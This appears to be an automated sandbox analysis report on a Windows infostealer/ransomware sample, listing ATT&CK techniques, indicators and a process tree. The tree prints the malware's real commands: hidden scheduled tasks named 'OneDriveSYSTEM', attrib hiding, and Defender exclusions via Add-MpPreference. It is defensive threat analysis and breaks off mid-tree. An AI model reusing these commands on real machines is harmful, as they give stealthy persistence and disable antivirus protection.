0b58a04499a7ea5fe440b7a76cddaefded6b2facee63b3df7ff0d5fe25f8c724

Analysis

max time kernel
746s
max time network
748s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
24-11-2024 10:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

main.exe
Size

26.2MB
MD5

8b4ad74978c4014d84fd38f5134ee11e
SHA1

71deb18626d9a5a57d0d9b1a2a41ed10e4051b1e
SHA256

0b58a04499a7ea5fe440b7a76cddaefded6b2facee63b3df7ff0d5fe25f8c724
SHA512

3ac72a2283ea1c3321f49540aa58b4a01ba9fd7ebb60c1e6b13071929c1d894dfa10fb2a1387a3563dd5bfc754c4b5815907abdfe70da9e9f78abe562648523f
SSDEEP

786432:S9YidhvMkCQlW828j1QtI7a8DZcQl8NBdmAmDI4p:S9JbCQlWr8BiIO6ON3vv4

Score

9^/10

microsoft defense_evasion discovery evasion execution persistence phishing privilege_escalation ransomware spyware stealer

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1112	powershell.exe
2136	powershell.exe
1172	powershell.exe
3660	powershell.exe
5972	powershell.exe
4220	powershell.exe
6000	powershell.exe
3972	powershell.exe
4240	powershell.exe
4552	powershell.exe
5036	powershell.exe
3284	powershell.exe
2244	powershell.exe
5832	powershell.exe
4228	powershell.exe
1156	powershell.exe
5108	powershell.exe
2056	powershell.exe
3712	powershell.exe
428	powershell.exe
2500	powershell.exe
2868	powershell.exe
3692	powershell.exe
536	powershell.exe
7136	powershell.exe
700	powershell.exe
1876	powershell.exe
1124	powershell.exe
3880	powershell.exe
4936	powershell.exe
3364	powershell.exe
3140	powershell.exe
1656	powershell.exe
1604	powershell.exe
3852	powershell.exe
2124	powershell.exe
4120	powershell.exe
5168	powershell.exe
4124	powershell.exe
5480	powershell.exe
2252	powershell.exe
3148	powershell.exe
3248	powershell.exe
2688	powershell.exe
856	powershell.exe
6008	powershell.exe
4052	powershell.exe
3536	powershell.exe
328	powershell.exe
772	powershell.exe
2812	powershell.exe
1840	powershell.exe
1004	powershell.exe
2684	powershell.exe
1596	powershell.exe
4724	powershell.exe
4172	powershell.exe
5912	powershell.exe
5940	powershell.exe
5596	powershell.exe
3564	powershell.exe
948	powershell.exe
6040	powershell.exe
5032	powershell.exe

Disables RegEdit via registry modification 4 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "0"	main.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "0"	main.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "0"	main.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "0"	main.exe

Disables Task Manager via registry modification
evasion

Drops file in Drivers directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\A6AmxhV01A	main.exe
File created	C:\Windows\System32\drivers\etc\uPY6QE6BmJ	main.exe
File created	C:\Windows\System32\drivers\etc\zMwKMCvSXL	main.exe
File created	C:\Windows\System32\drivers\etc\PCiwLPMOIB	main.exe
File created	C:\Windows\System32\drivers\etc\ubzLaSENaj	main.exe
File created	C:\Windows\System32\drivers\etc\DHr5bd7dDV	main.exe
File created	C:\Windows\System32\drivers\etc\8VkOPaRnkg	main.exe
File created	C:\Windows\System32\drivers\etc\Tt7QRGP5xE	main.exe
File created	C:\Windows\System32\drivers\etc\L7cML0w0Vi	main.exe
File created	C:\Windows\System32\drivers\etc\8nXrrlY84U	main.exe
File created	C:\Windows\System32\drivers\etc\4dUkXxSNG3	main.exe
File created	C:\Windows\System32\drivers\etc\4omnecwTFO	main.exe
File created	C:\Windows\System32\drivers\etc\skRnvyBQVP	main.exe
File created	C:\Windows\System32\drivers\etc\Nan0lFcn6F	main.exe
File created	C:\Windows\System32\drivers\etc\j5wwjU4Apv	main.exe
File created	C:\Windows\System32\drivers\etc\gmqAsmnB31	main.exe
File created	C:\Windows\System32\drivers\etc\elwqNOXLgv	main.exe
File created	C:\Windows\System32\drivers\etc\2vLPoPLDLd	main.exe
File created	C:\Windows\System32\drivers\etc\lLXnQY4zKh	main.exe
File created	C:\Windows\System32\drivers\etc\5mrEVVEsz7	main.exe
File created	C:\Windows\System32\drivers\etc\r7WBoF2nrd	main.exe
File created	C:\Windows\System32\drivers\etc\FjsZxTfu8D	main.exe
File created	C:\Windows\System32\drivers\etc\zbABLqaucj	main.exe
File created	C:\Windows\System32\drivers\etc\Ej29yNjr2s	main.exe
File created	C:\Windows\System32\drivers\etc\pHp7NNzDpI	main.exe
File created	C:\Windows\System32\drivers\etc\SDFFISSkqu	main.exe
File created	C:\Windows\System32\drivers\etc\35tlM0LjKH	main.exe
File created	C:\Windows\System32\drivers\etc\a9SzEVg3eN	main.exe
File created	C:\Windows\System32\drivers\etc\Nc9w5m3nfY	main.exe
File created	C:\Windows\System32\drivers\etc\9ZeNtJyZKc	main.exe
File created	C:\Windows\System32\drivers\etc\8CobOlZnV4	main.exe
File created	C:\Windows\System32\drivers\etc\LaX1xfxtFl	main.exe
File created	C:\Windows\System32\drivers\etc\79nQYEpXNp	main.exe
File created	C:\Windows\System32\drivers\etc\rOz0WJschb	main.exe
File created	C:\Windows\System32\drivers\etc\rlLpBEBEQr	main.exe
File created	C:\Windows\System32\drivers\etc\lzS3k4DQE5	main.exe
File created	C:\Windows\System32\drivers\etc\UlUWSDOoHJ	main.exe
File created	C:\Windows\System32\drivers\etc\vNc72nGrbI	main.exe
File created	C:\Windows\System32\drivers\etc\GR6CO52ZKE	main.exe
File created	C:\Windows\System32\drivers\etc\ZKdmdHpAbW	main.exe
File created	C:\Windows\System32\drivers\etc\h8phuwfZIr	main.exe
File created	C:\Windows\System32\drivers\etc\Q5DdMrTtwa	main.exe
File created	C:\Windows\System32\drivers\etc\yFyD01dvd4	main.exe
File created	C:\Windows\System32\drivers\etc\Bf1Y2iir9q	main.exe
File created	C:\Windows\System32\drivers\etc\tYjQip3hSB	main.exe
File created	C:\Windows\System32\drivers\etc\X0ZhLSGQOk	main.exe
File created	C:\Windows\System32\drivers\etc\JkM8Yn8aeU	main.exe
File created	C:\Windows\System32\drivers\etc\Lkf6gDxjGm	main.exe
File created	C:\Windows\System32\drivers\etc\XjvVTZUypo	main.exe
File created	C:\Windows\System32\drivers\etc\0wqNuUkksC	main.exe
File created	C:\Windows\System32\drivers\etc\QB4Q0ll5X4	main.exe
File created	C:\Windows\System32\drivers\etc\L7TbWgMdkr	main.exe
File created	C:\Windows\System32\drivers\etc\pFZjPrNSPQ	main.exe
File created	C:\Windows\System32\drivers\etc\9r0I4eFXi9	main.exe
File created	C:\Windows\System32\drivers\etc\mbY09faTo1	main.exe
File created	C:\Windows\System32\drivers\etc\MwsQzwCSiq	main.exe
File created	C:\Windows\System32\drivers\etc\ieddF9UFh0	main.exe
File created	C:\Windows\System32\drivers\etc\0k3HJf2997	main.exe
File created	C:\Windows\System32\drivers\etc\k7VuPkMzIB	main.exe
File created	C:\Windows\System32\drivers\etc\GromZ9qZZz	main.exe
File created	C:\Windows\System32\drivers\etc\kp1s0ecHbE	main.exe
File created	C:\Windows\System32\drivers\etc\HqhzbkuGH1	main.exe
File created	C:\Windows\System32\drivers\etc\IKKhAKRaTo	main.exe
File created	C:\Windows\System32\drivers\etc\swBfM4PWNQ	main.exe

Executes dropped EXE 6 IoCs

pid	Process
2036	main.exe
3768	main.exe
5240	main.exe
6264	main.exe
3188	main.exe
3088	main.exe

Loads dropped DLL 64 IoCs

pid	Process
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe

Modifies file permissions 1 TTPs 12 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2820	icacls.exe
1120	icacls.exe
2040	icacls.exe
3928	icacls.exe
2684	icacls.exe
7032	icacls.exe
3948	icacls.exe
3280	icacls.exe
5060	icacls.exe
2936	icacls.exe
3128	icacls.exe
2272	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 13 IoCs

Web Service

T1102

flow	ioc
16	discord.com
29	discord.com
2	raw.githubusercontent.com
2	discord.com
3	raw.githubusercontent.com
4	discord.com
14	discord.com
15	discord.com
5	discord.com
23	discord.com
32	discord.com
33	discord.com
91	discord.com

Looks up external IP address via web service 11 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	api.ipify.org
5	ipinfo.io
7	api.ipify.org
93	api.ipify.org
20	ipinfo.io
50	api.ipify.org
94	ipinfo.io
2	ipinfo.io
5	api.ipify.org
8	ipinfo.io
19	api.ipify.org

Detected potential entity reuse from brand MICROSOFT.
phishing microsoft

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\screenshot.png	main.exe
File created	C:\Windows\System32\screenshot.png	main.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 7 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2516	cmd.exe
5792	cmd.exe
4908	cmd.exe
1008	cmd.exe
2588	cmd.exe
404	cmd.exe
6396	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 3 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\wallpaper.png"	main.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\wallpaper.png"	main.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\wallpaper.png"	main.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	setup.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\metadata	setup.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\settings.dat	setup.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 6 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2392	cmd.exe
3576	netsh.exe
3120	cmd.exe
4644	netsh.exe
6552	cmd.exe
7028	netsh.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	chrome.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	chrome.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	chrome.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133769175900167108"	chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 24 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4324	schtasks.exe
1656	schtasks.exe
3092	schtasks.exe
3120	schtasks.exe
6104	schtasks.exe
5324	schtasks.exe
2760	schtasks.exe
552	schtasks.exe
4380	schtasks.exe
772	schtasks.exe
2840	schtasks.exe
6712	schtasks.exe
780	schtasks.exe
4552	schtasks.exe
4976	schtasks.exe
1388	schtasks.exe
6900	schtasks.exe
6188	schtasks.exe
3236	schtasks.exe
2688	schtasks.exe
3880	schtasks.exe
328	schtasks.exe
6516	schtasks.exe
6780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5032	powershell.exe
5032	powershell.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
4588	main.exe
1172	powershell.exe
4052	powershell.exe
1112	powershell.exe
772	powershell.exe
700	powershell.exe
1112	powershell.exe
1656	powershell.exe
4052	powershell.exe
1172	powershell.exe
700	powershell.exe
700	powershell.exe
772	powershell.exe
772	powershell.exe
1656	powershell.exe
3276	powershell.exe
3276	powershell.exe
1876	powershell.exe
1876	powershell.exe
3276	powershell.exe
1876	powershell.exe
3536	powershell.exe
4724	powershell.exe
4724	powershell.exe
2812	powershell.exe
2812	powershell.exe
2252	powershell.exe
2252	powershell.exe
4724	powershell.exe
3536	powershell.exe
3536	powershell.exe
2812	powershell.exe
2252	powershell.exe
4552	powershell.exe
4552	powershell.exe
4552	powershell.exe
3972	powershell.exe
3972	powershell.exe
3972	powershell.exe
5036	powershell.exe
5036	powershell.exe
1604	powershell.exe
4936	powershell.exe
1840	powershell.exe
1604	powershell.exe
4936	powershell.exe
3148	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 15 IoCs

pid	Process
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4588	main.exe
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeIncreaseQuotaPrivilege	5032	powershell.exe
Token: SeSecurityPrivilege	5032	powershell.exe
Token: SeTakeOwnershipPrivilege	5032	powershell.exe
Token: SeLoadDriverPrivilege	5032	powershell.exe
Token: SeSystemProfilePrivilege	5032	powershell.exe
Token: SeSystemtimePrivilege	5032	powershell.exe
Token: SeProfSingleProcessPrivilege	5032	powershell.exe
Token: SeIncBasePriorityPrivilege	5032	powershell.exe
Token: SeCreatePagefilePrivilege	5032	powershell.exe
Token: SeBackupPrivilege	5032	powershell.exe
Token: SeRestorePrivilege	5032	powershell.exe
Token: SeShutdownPrivilege	5032	powershell.exe
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeSystemEnvironmentPrivilege	5032	powershell.exe
Token: SeRemoteShutdownPrivilege	5032	powershell.exe
Token: SeUndockPrivilege	5032	powershell.exe
Token: SeManageVolumePrivilege	5032	powershell.exe
Token: 33	5032	powershell.exe
Token: 34	5032	powershell.exe
Token: 35	5032	powershell.exe
Token: 36	5032	powershell.exe
Token: SeIncreaseQuotaPrivilege	5032	powershell.exe
Token: SeSecurityPrivilege	5032	powershell.exe
Token: SeTakeOwnershipPrivilege	5032	powershell.exe
Token: SeLoadDriverPrivilege	5032	powershell.exe
Token: SeSystemProfilePrivilege	5032	powershell.exe
Token: SeSystemtimePrivilege	5032	powershell.exe
Token: SeProfSingleProcessPrivilege	5032	powershell.exe
Token: SeIncBasePriorityPrivilege	5032	powershell.exe
Token: SeCreatePagefilePrivilege	5032	powershell.exe
Token: SeBackupPrivilege	5032	powershell.exe
Token: SeRestorePrivilege	5032	powershell.exe
Token: SeShutdownPrivilege	5032	powershell.exe
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeSystemEnvironmentPrivilege	5032	powershell.exe
Token: SeRemoteShutdownPrivilege	5032	powershell.exe
Token: SeUndockPrivilege	5032	powershell.exe
Token: SeManageVolumePrivilege	5032	powershell.exe
Token: 33	5032	powershell.exe
Token: 34	5032	powershell.exe
Token: 35	5032	powershell.exe
Token: 36	5032	powershell.exe
Token: 33	3748	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3748	AUDIODG.EXE
Token: SeDebugPrivilege	1172	powershell.exe
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeDebugPrivilege	772	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeDebugPrivilege	1656	powershell.exe
Token: SeDebugPrivilege	3276	powershell.exe
Token: SeDebugPrivilege	1876	powershell.exe
Token: SeDebugPrivilege	3536	powershell.exe
Token: SeDebugPrivilege	4724	powershell.exe
Token: SeDebugPrivilege	2812	powershell.exe
Token: SeIncreaseQuotaPrivilege	3276	powershell.exe
Token: SeSecurityPrivilege	3276	powershell.exe
Token: SeTakeOwnershipPrivilege	3276	powershell.exe
Token: SeLoadDriverPrivilege	3276	powershell.exe
Token: SeSystemProfilePrivilege	3276	powershell.exe
Token: SeSystemtimePrivilege	3276	powershell.exe
Token: SeProfSingleProcessPrivilege	3276	powershell.exe

Suspicious use of FindShellTrayWindow 29 IoCs

pid	Process
4588	main.exe
3768	main.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
3088	main.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe
1348	chrome.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4588	main.exe
4588	main.exe
3768	main.exe
3768	main.exe
3088	main.exe
3088	main.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 128 wrote to memory of 4588	128	main.exe	77
PID 128 wrote to memory of 4588	128	main.exe	77
PID 4588 wrote to memory of 4908	4588	main.exe	79
PID 4588 wrote to memory of 4908	4588	main.exe	79
PID 4908 wrote to memory of 4076	4908	cmd.exe	81
PID 4908 wrote to memory of 4076	4908	cmd.exe	81
PID 4588 wrote to memory of 2172	4588	main.exe	82
PID 4588 wrote to memory of 2172	4588	main.exe	82
PID 2172 wrote to memory of 4324	2172	cmd.exe	84
PID 2172 wrote to memory of 4324	2172	cmd.exe	84
PID 4588 wrote to memory of 5032	4588	main.exe	85
PID 4588 wrote to memory of 5032	4588	main.exe	85
PID 4588 wrote to memory of 2492	4588	main.exe	87
PID 4588 wrote to memory of 2492	4588	main.exe	87
PID 2492 wrote to memory of 3236	2492	cmd.exe	89
PID 2492 wrote to memory of 3236	2492	cmd.exe	89
PID 4588 wrote to memory of 2684	4588	main.exe	90
PID 4588 wrote to memory of 2684	4588	main.exe	90
PID 2684 wrote to memory of 2760	2684	cmd.exe	92
PID 2684 wrote to memory of 2760	2684	cmd.exe	92
PID 4588 wrote to memory of 1008	4588	main.exe	94
PID 4588 wrote to memory of 1008	4588	main.exe	94
PID 4588 wrote to memory of 1172	4588	main.exe	96
PID 4588 wrote to memory of 1172	4588	main.exe	96
PID 4588 wrote to memory of 4052	4588	main.exe	97
PID 4588 wrote to memory of 4052	4588	main.exe	97
PID 4588 wrote to memory of 1656	4588	main.exe	99
PID 4588 wrote to memory of 1656	4588	main.exe	99
PID 4588 wrote to memory of 700	4588	main.exe	101
PID 4588 wrote to memory of 700	4588	main.exe	101
PID 4588 wrote to memory of 772	4588	main.exe	103
PID 4588 wrote to memory of 772	4588	main.exe	103
PID 4588 wrote to memory of 1112	4588	main.exe	105
PID 4588 wrote to memory of 1112	4588	main.exe	105
PID 4588 wrote to memory of 4784	4588	main.exe	108
PID 4588 wrote to memory of 4784	4588	main.exe	108
PID 4588 wrote to memory of 388	4588	main.exe	110
PID 4588 wrote to memory of 388	4588	main.exe	110
PID 1008 wrote to memory of 4556	1008	cmd.exe	112
PID 1008 wrote to memory of 4556	1008	cmd.exe	112
PID 4784 wrote to memory of 2040	4784	cmd.exe	113
PID 4784 wrote to memory of 2040	4784	cmd.exe	113
PID 4588 wrote to memory of 4996	4588	main.exe	114
PID 4588 wrote to memory of 4996	4588	main.exe	114
PID 4588 wrote to memory of 476	4588	main.exe	116
PID 4588 wrote to memory of 476	4588	main.exe	116
PID 388 wrote to memory of 552	388	cmd.exe	117
PID 388 wrote to memory of 552	388	cmd.exe	117
PID 4996 wrote to memory of 4552	4996	cmd.exe	146
PID 4996 wrote to memory of 4552	4996	cmd.exe	146
PID 4588 wrote to memory of 2340	4588	main.exe	120
PID 4588 wrote to memory of 2340	4588	main.exe	120
PID 476 wrote to memory of 3280	476	cmd.exe	122
PID 476 wrote to memory of 3280	476	cmd.exe	122
PID 2340 wrote to memory of 2952	2340	cmd.exe	218
PID 2340 wrote to memory of 2952	2340	cmd.exe	218
PID 2952 wrote to memory of 3944	2952	net.exe	124
PID 2952 wrote to memory of 3944	2952	net.exe	124
PID 4588 wrote to memory of 4580	4588	main.exe	125
PID 4588 wrote to memory of 4580	4588	main.exe	125
PID 4588 wrote to memory of 3276	4588	main.exe	126
PID 4588 wrote to memory of 3276	4588	main.exe	126
PID 4588 wrote to memory of 1876	4588	main.exe	128
PID 4588 wrote to memory of 1876	4588	main.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 7 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3356	attrib.exe
4076	attrib.exe
4556	attrib.exe
700	attrib.exe
4120	attrib.exe
6448	attrib.exe
4824	attrib.exe

C:\Users\Admin\AppData\Local\Temp\main.exe
"C:\Users\Admin\AppData\Local\Temp\main.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:128
- C:\Users\Admin\AppData\Local\Temp\main.exe
  "C:\Users\Admin\AppData\Local\Temp\main.exe"
  2⤵
  - Disables RegEdit via registry modification
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Sets desktop wallpaper using registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Roaming\main.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4908
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\Users\Admin\AppData\Roaming\main.exe"
      4⤵
      Views/modifies file attributes
      PID:4076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEM" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc minute /mo 1 /rl HIGHEST /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2172
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEM" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc minute /mo 1 /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$task=Get-ScheduledTask -TaskName \"OneDriveSYSTEM\" $settings=$task.Settings $settings.StartWhenAvailable=$true $settings.StopIfGoingOnBatteries=$false $settings.ExecutionTimeLimit=\"PT0S\" Set-ScheduledTask -TaskName \"OneDriveSYSTEM\" -Settings $settings"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEMLogon" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogon /rl HIGHEST /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2492
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEMLogon" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogon /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEMLogoff" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogoff /rl HIGHEST /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2684
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEMLogoff" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogoff /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Roaming\main.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1008
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\Users\Admin\AppData\Roaming\main.exe"
      4⤵
      Views/modifies file attributes
      PID:4556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
